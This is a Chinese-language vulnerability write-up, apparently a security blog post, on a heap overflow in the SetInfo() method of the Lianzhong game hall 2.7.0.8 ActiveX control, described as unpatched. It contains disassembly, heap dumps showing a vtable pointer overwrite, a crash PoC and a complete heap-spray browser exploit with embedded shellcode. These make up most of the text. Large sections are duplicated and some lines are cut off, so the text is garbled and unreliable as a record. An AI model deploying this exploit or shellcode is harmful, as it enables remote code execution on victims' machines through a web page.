影响版本:
联众游戏大厅2.7.0.8 (2007年8月16日发布)
未受影响版本:
联众还没补 :-)
成因:
联众的程序员过于信任用户输入,未检测用户提供的字符串长度,导致对象虚函数表指针被覆盖,从而获得系统控制权.
分析:
IE先创建obj_vuln对象(为什么要在SetInfo()执行前做这个,没进行分析),位置恰好在obj_now对象下:
然后进入SetInfo()流程:
跟进SetInfo(),会将EvilString填充到obj_now里面:
演示代码:
上面用测试所用的Crash PoC(需要刷新下IE):
利用heap spray的PoC(shellcode弹出cacl.exe):
小结:
队长,别开枪,是带子最先fuzz联众的,不是我干的.
谢谢luoluo巨牛写的PoC.在ie6sp2和ie7下测试可行.
感谢ZhaoHuan提醒我HideOD的问题,否则我还在ollydbg调试堆的BAADF00D,FREEFREE里瞎转.
另外,这个纯属鸡肋,在默认ie安全级别需要用户交互才能执行.挂马的同学请无视.
联众游戏大厅2.7.0.8 (2007年8月16日发布)
未受影响版本:
联众还没补 :-)
成因:
联众的程序员过于信任用户输入,未检测用户提供的字符串长度,导致对象虚函数表指针被覆盖,从而获得系统控制权.
分析:
IE先创建obj_vuln对象(为什么要在SetInfo()执行前做这个,没进行分析),位置恰好在obj_now对象下:
03803034 /$ 56 PUSH ESI
03803035 |. 8BF1 MOV ESI,ECX
03803037 |. 6A 58 PUSH 58 ; 对象大小:58h,即88字节
03803039 |. 8366 10 00 AND DWORD PTR DS:[ESI+10],0
0380303D |. 8366 14 00 AND DWORD PTR DS:[ESI+14],0
03803041 |. 8366 18 00 AND DWORD PTR DS:[ESI+18],0
03803045 |. C706 C4048103 MOV DWORD PTR DS:[ESI],038104C4
0380304B |. E8 2C370000 CALL 0380677C ; 创建obj_vuln对象
03803050 |. 85C0 TEST EAX,EAX
03803052 |. 59 POP ECX
03803053 |. 74 0A JE SHORT 0380305F
03803055 |. 56 PUSH ESI
03803056 |. 8BC8 MOV ECX,EAX
03803058 |. E8 390D0000 CALL 03803D96 ; 初始化obj_vuln对象
0380305D |. EB 02 JMP SHORT 03803061
0380305F |> 33C0 XOR EAX,EAX
03803061 |> 6A 08 PUSH 8
03803063 |. 8946 08 MOV DWORD PTR DS:[ESI+8],EAX ; 保存
obj_vuln==>[ESI+8] 记住这个,后面要提到03803035 |. 8BF1 MOV ESI,ECX
03803037 |. 6A 58 PUSH 58 ; 对象大小:58h,即88字节
03803039 |. 8366 10 00 AND DWORD PTR DS:[ESI+10],0
0380303D |. 8366 14 00 AND DWORD PTR DS:[ESI+14],0
03803041 |. 8366 18 00 AND DWORD PTR DS:[ESI+18],0
03803045 |. C706 C4048103 MOV DWORD PTR DS:[ESI],038104C4
0380304B |. E8 2C370000 CALL 0380677C ; 创建obj_vuln对象
03803050 |. 85C0 TEST EAX,EAX
03803052 |. 59 POP ECX
03803053 |. 74 0A JE SHORT 0380305F
03803055 |. 56 PUSH ESI
03803056 |. 8BC8 MOV ECX,EAX
03803058 |. E8 390D0000 CALL 03803D96 ; 初始化obj_vuln对象
0380305D |. EB 02 JMP SHORT 03803061
0380305F |> 33C0 XOR EAX,EAX
03803061 |> 6A 08 PUSH 8
03803063 |. 8946 08 MOV DWORD PTR DS:[ESI+8],EAX ; 保存
然后进入SetInfo()流程:
03802F25 |> \56 PUSH ESI ; /EvilString <=== 嘿嘿~
03802F26 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
03802F29 |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; |Arg7
03802F2C |. 8D48 14 LEA ECX,DWORD PTR DS:[EAX+14] ; |
03802F2F |. FF75 20 PUSH DWORD PTR SS:[EBP+20] ; |Arg6
03802F32 |. FF75 1C PUSH DWORD PTR SS:[EBP+1C] ; |Arg5
03802F35 |. FF75 18 PUSH DWORD PTR SS:[EBP+18] ; |Arg4
03802F38 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; |Arg3
03802F3B |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; |Arg2
03802F3E |. FF75 F4 PUSH DWORD PTR SS:[EBP-C] ; |Arg1
03802F41 |. E8 7E010000 CALL 038030C4 ; \调用SetInfo()
F7跟进03802F26 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
03802F29 |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; |Arg7
03802F2C |. 8D48 14 LEA ECX,DWORD PTR DS:[EAX+14] ; |
03802F2F |. FF75 20 PUSH DWORD PTR SS:[EBP+20] ; |Arg6
03802F32 |. FF75 1C PUSH DWORD PTR SS:[EBP+1C] ; |Arg5
03802F35 |. FF75 18 PUSH DWORD PTR SS:[EBP+18] ; |Arg4
03802F38 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; |Arg3
03802F3B |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; |Arg2
03802F3E |. FF75 F4 PUSH DWORD PTR SS:[EBP-C] ; |Arg1
03802F41 |. E8 7E010000 CALL 038030C4 ; \调用SetInfo()
跟进SetInfo(),会将EvilString填充到obj_now里面:
038030C4 /$ 55 PUSH EBP
038030C5 |. 8BEC MOV EBP,ESP
038030C7 |. 56 PUSH ESI
038030C8 |. 8BF1 MOV ESI,ECX
038030CA |. FF75 10 PUSH DWORD PTR SS:[EBP+10]
038030CD |. B9 90568103 MOV ECX,03815690
038030D2 |. FF75 0C PUSH DWORD PTR SS:[EBP+C]
038030D5 |. FF75 08 PUSH DWORD PTR SS:[EBP+8]
038030D8 |. E8 DB040000 CALL 038035B8
038030DD |. FF75 20 PUSH DWORD PTR SS:[EBP+20]
038030E0 |. 8D46 1C LEA EAX,DWORD PTR DS:[ESI+1C]
038030E3 |. 50 PUSH EAX
038030E4 |. E8 37350000 CALL 03806620
038030E9 |. FF75 24 PUSH DWORD PTR SS:[EBP+24] ; EvilString
038030EC |. 8D46 3C LEA EAX,DWORD PTR DS:[ESI+3C] ; obj_now+0x3C obj_new偏移60字节处
038030EF |. 50 PUSH EAX :
038030F0 |. E8 2B350000 CALL 03806620 ; EvilString复制到obj_now+0x3C <== 问题出在这里,没有检测EvilString的长度.
执行完SetInfo()后,看堆里的情况:
038030C5 |. 8BEC MOV EBP,ESP
038030C7 |. 56 PUSH ESI
038030C8 |. 8BF1 MOV ESI,ECX
038030CA |. FF75 10 PUSH DWORD PTR SS:[EBP+10]
038030CD |. B9 90568103 MOV ECX,03815690
038030D2 |. FF75 0C PUSH DWORD PTR SS:[EBP+C]
038030D5 |. FF75 08 PUSH DWORD PTR SS:[EBP+8]
038030D8 |. E8 DB040000 CALL 038035B8
038030DD |. FF75 20 PUSH DWORD PTR SS:[EBP+20]
038030E0 |. 8D46 1C LEA EAX,DWORD PTR DS:[ESI+1C]
038030E3 |. 50 PUSH EAX
038030E4 |. E8 37350000 CALL 03806620
038030E9 |. FF75 24 PUSH DWORD PTR SS:[EBP+24] ; EvilString
038030EC |. 8D46 3C LEA EAX,DWORD PTR DS:[ESI+3C] ; obj_now+0x3C obj_new偏移60字节处
038030EF |. 50 PUSH EAX :
038030F0 |. E8 2B350000 CALL 03806620 ; EvilString复制到obj_now+0x3C <== 问题出在这里,没有检测EvilString的长度.
$ ==> 03823D80 038104C4 ?? <=== obj_now的开头
$+4 03823D84 03823D68 h=?
$+8 03823D88 03823DE0 ??
$+C 03823D8C 03823E48 H>?
$+10 03823D90 00000001 ...
$+14 03823D94 00000001 ...
$+18 03823D98 00000001 ...
$+1C 03823D9C 00000000 ... .
$+20 03823DA0 00000000 ... .
$+24 03823DA4 00000000 ... .
$+28 03823DA8 00000000 ... .
$+2C 03823DAC 00000000 ... .
$+30 03823DB0 00000000 ... .
$+34 03823DB4 00000000 ... .
$+38 03823DB8 00000000 ... .
$+3C 03823DBC 41414141 AAAA <=== EvilString 开头
$+40 03823DC0 41414141 AAAA
$+44 03823DC4 41414141 AAAA
$+48 03823DC8 41414141 AAAA
$+4C 03823DCC 41414141 AAAA
$+50 03823DD0 41414141 AAAA
$+54 03823DD4 41414141 AAAA <=== obj_now的尾部:从3Ch到58h,覆盖了28字节
$+58 03823DD8 41414141 AAAA // 还要填充8字节.才能到obj_vuln
$+5C 03823DDC 41414141 AAAA // 原因估计是堆分配粒度是16字节
$+60 03823DE0 0D0D0D0D ... . <=== obj_vuln的vmt_ptr(虚函数表指针)被覆盖!!!
当第2次调用SetInfo的时候,IE会先执行obj_vuln里的函数,但是obj_vuln的vmt_ptr已经被我们控制了:
$+4 03823D84 03823D68 h=?
$+8 03823D88 03823DE0 ??
$+C 03823D8C 03823E48 H>?
$+10 03823D90 00000001 ...
$+14 03823D94 00000001 ...
$+18 03823D98 00000001 ...
$+1C 03823D9C 00000000 ... .
$+20 03823DA0 00000000 ... .
$+24 03823DA4 00000000 ... .
$+28 03823DA8 00000000 ... .
$+2C 03823DAC 00000000 ... .
$+30 03823DB0 00000000 ... .
$+34 03823DB4 00000000 ... .
$+38 03823DB8 00000000 ... .
$+3C 03823DBC 41414141 AAAA <=== EvilString 开头
$+40 03823DC0 41414141 AAAA
$+44 03823DC4 41414141 AAAA
$+48 03823DC8 41414141 AAAA
$+4C 03823DCC 41414141 AAAA
$+50 03823DD0 41414141 AAAA
$+54 03823DD4 41414141 AAAA <=== obj_now的尾部:从3Ch到58h,覆盖了28字节
$+58 03823DD8 41414141 AAAA // 还要填充8字节.才能到obj_vuln
$+5C 03823DDC 41414141 AAAA // 原因估计是堆分配粒度是16字节
$+60 03823DE0 0D0D0D0D ... . <=== obj_vuln的vmt_ptr(虚函数表指针)被覆盖!!!
0380309F /$ 56 PUSH ESI
038030A0 |. 8BF1 MOV ESI,ECX
038030A2 |. 8B4E 08 MOV ECX,DWORD PTR DS:[ESI+8] ; ECX: obj_vuln 还记得前面的[ESI+8]么?
038030A5 |. C706 C4048103 MOV DWORD PTR DS:[ESI],038104C4
038030AB |. 85C9 TEST ECX,ECX
038030AD |. 74 06 JE SHORT 038030B5
038030AF |. 8B01 MOV EAX,DWORD PTR DS:[ECX] ; [ECX]: vmt_ptr==>EAX
038030B1 |. 6A 01 PUSH 1
038030B3 |. FF10 CALL DWORD PTR DS:[EAX] ; <=== 控制!!!
038030B5 |> 8B4E 0C MOV ECX,DWORD PTR DS:[ESI+C]
038030B8 |. 5E POP ESI
038030B9 |. 85C9 TEST ECX,ECX
038030BB |. 74 06 JE SHORT 038030C3
038030BD |. 8B01 MOV EAX,DWORD PTR DS:[ECX]
038030BF |. 6A 01 PUSH 1
038030C1 |. FF10 CALL DWORD PTR DS:[EAX]
038030C3 \> C3 RETN
038030A0 |. 8BF1 MOV ESI,ECX
038030A2 |. 8B4E 08 MOV ECX,DWORD PTR DS:[ESI+8] ; ECX: obj_vuln 还记得前面的[ESI+8]么?
038030A5 |. C706 C4048103 MOV DWORD PTR DS:[ESI],038104C4
038030AB |. 85C9 TEST ECX,ECX
038030AD |. 74 06 JE SHORT 038030B5
038030AF |. 8B01 MOV EAX,DWORD PTR DS:[ECX] ; [ECX]: vmt_ptr==>EAX
038030B1 |. 6A 01 PUSH 1
038030B3 |. FF10 CALL DWORD PTR DS:[EAX] ; <=== 控制!!!
038030B5 |> 8B4E 0C MOV ECX,DWORD PTR DS:[ESI+C]
038030B8 |. 5E POP ESI
038030B9 |. 85C9 TEST ECX,ECX
038030BB |. 74 06 JE SHORT 038030C3
038030BD |. 8B01 MOV EAX,DWORD PTR DS:[ECX]
038030BF |. 6A 01 PUSH 1
038030C1 |. FF10 CALL DWORD PTR DS:[EAX]
038030C3 \> C3 RETN
演示代码:
上面用测试所用的Crash PoC(需要刷新下IE):
<html>
<body>
<object id="gl" classid="clsid:1C9B434A-0898-498A-B802-B00FA0962214"></object>
<script>
var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0d\x0d\x0d\x0d";
gl.SetInfo("", "", "", 1, 1, 1, "", s);
</script>
</body>
</html>
<body>
<object id="gl" classid="clsid:1C9B434A-0898-498A-B802-B00FA0962214"></object>
<script>
var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0d\x0d\x0d\x0d";
gl.SetInfo("", "", "", 1, 1, 1, "", s);
</script>
</body>
</html>
利用heap spray的PoC(shellcode弹出cacl.exe):
<html>
<body>
<object id="gl" classid="clsid:1C9B434A-0898-498A-B802-B00FA0962214"></object>
<script>
document.write("<meta http-equiv=\"refresh\" content=\"1, " + window.location.href + "\"></meta>");
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
// exec calc
"%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%uf513" +
"%ue2ce%u8369%ufceb%uf4e2%u2609%u69a6%ucef5%u2c69" +
"%u45c9%u6c9e%ucf8d%ue20d%ud6ba%u3669%ucfd5%u2009" +
"%ufa7e%u6869%uff1b%uf022%u4a59%u1d22%u0ff2%u6428" +
"%u0cf4%u9d09%u9ace%u6dc6%u2b80%u3669%ucfd1%u0f09" +
"%uc27e%ue2a9%ud2aa%u82e3%ud27e%u6869%u471e%u4dbe" +
"%u0df1%ua9d3%u4591%u59a2%u0e70%u659a%u8e7e%ue2ee" +
"%ud285%ue24f%uc69d%u6009%u4e7e%u6952%ucef5%u0169" +
"%u91c9%u9fd3%u9895%u916b%u0e76%u3999%u3e9d%u6d68" +
"%ua6aa%u977a%uc07f%u96b5%uad12%u0583%uce96%u69e2"
);
var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0c\x0c\x0c\x0c";
gl.SetInfo("", "", "", 1, 1, 1, "", s);
</script>
</body>
</html>
<body>
<object id="gl" classid="clsid:1C9B434A-0898-498A-B802-B00FA0962214"></object>
<script>
document.write("<meta http-equiv=\"refresh\" content=\"1, " + window.location.href + "\"></meta>");
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
// exec calc
"%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%uf513" +
"%ue2ce%u8369%ufceb%uf4e2%u2609%u69a6%ucef5%u2c69" +
"%u45c9%u6c9e%ucf8d%ue20d%ud6ba%u3669%ucfd5%u2009" +
"%ufa7e%u6869%uff1b%uf022%u4a59%u1d22%u0ff2%u6428" +
"%u0cf4%u9d09%u9ace%u6dc6%u2b80%u3669%ucfd1%u0f09" +
"%uc27e%ue2a9%ud2aa%u82e3%ud27e%u6869%u471e%u4dbe" +
"%u0df1%ua9d3%u4591%u59a2%u0e70%u659a%u8e7e%ue2ee" +
"%ud285%ue24f%uc69d%u6009%u4e7e%u6952%ucef5%u0169" +
"%u91c9%u9fd3%u9895%u916b%u0e76%u3999%u3e9d%u6d68" +
"%ua6aa%u977a%uc07f%u96b5%uad12%u0583%uce96%u69e2"
);
var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0c\x0c\x0c\x0c";
gl.SetInfo("", "", "", 1, 1, 1, "", s);
</script>
</body>
</html>
小结:
队长,别开枪,是带子最先fuzz联众的,不是我干的.
谢谢luoluo巨牛写的PoC.在ie6sp2和ie7下测试可行.
感谢ZhaoHuan提醒我HideOD的问题,否则我还在ollydbg调试堆的BAADF00D,FREEFREE里瞎转.
另外,这个纯属鸡肋,在默认ie安全级别需要用户交互才能执行.挂马的同学请无视.